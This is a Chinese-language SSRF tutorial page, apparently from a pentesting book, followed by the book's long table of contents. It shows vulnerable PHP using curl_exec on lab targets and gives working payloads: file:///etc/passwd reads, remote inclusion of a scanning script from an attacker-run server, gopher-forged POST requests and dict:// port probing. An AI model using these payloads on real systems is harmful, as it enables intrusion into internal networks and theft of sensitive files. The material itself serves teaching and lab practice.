## SRF案例:
### **案例一:url没过滤**
```PHP
# 源代码如下
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
```
**此时可以在url后边接任意地址,当然真正的渗透应该接目标的内网地址**
```url
#原地址:
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/1.txt
#直接替换url为任意网址或本地文件路径
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
```
### **案例二:只读取PHP文件**
`file_get_contents`函数只能读取PHP文件,所以可以修改原本的路径,读取服务器其他的php文件
```url
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/captain.php
```
### **案例三:文件包含**
利用文件包含漏洞,加载远程脚本扫描内部服务
```url
#GET的请求:
http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
#观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
#使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。
#POST请求
http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/bWAPP/ssrf-1.txt&action=go
#POST DATA内容:
ip=192.168.60.70
```
>192.168.163.157是要访问的主机地址A
>xxx.xxx.xxx是要使用的远程扫描脚本的地址(也就是自己搭建的服务器)
>192.168.60.70是要扫描的目标主机内网地址B,且该地址是xxx.xxx.xxx主机无法访问到的
>使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
## SSRF利用其他协议
有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html
### file 协议的运用
请求`http://192.168.163.150/test.php?url=file:///etc/passwd`便可以获取敏感文件的信息
### gopher 协议的运用
gopher 协议是比http协议更早出现的协议,现已不常用,但是在 SSRF漏洞利用中gopher可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样变可 以解决漏洞点不在 GET 参数的问题了
基本协议格式:
```
URL:gopher://<host>:<port>/<gopher-path>
```
进行如下请求可以发送一个 POST 请求,且参数 cmd 的值为 balabal
构造 gopher 请求的时候,回车换行符号要进行2次url编码为`%250d%250a`
>http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1
gopher在SSRF漏洞利用中具体的攻击方式可以参考如下链接:
https://blog.chaitin.cn/gopher-attack-surfaces/
### dict 协议应用
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,
但是在 SSRF 中如果可以使用 dict协议,那么就可以轻易的获取目标服务器端口上运行的服务 版本等信息
如请求 `http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info`
可以获取目标主 机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具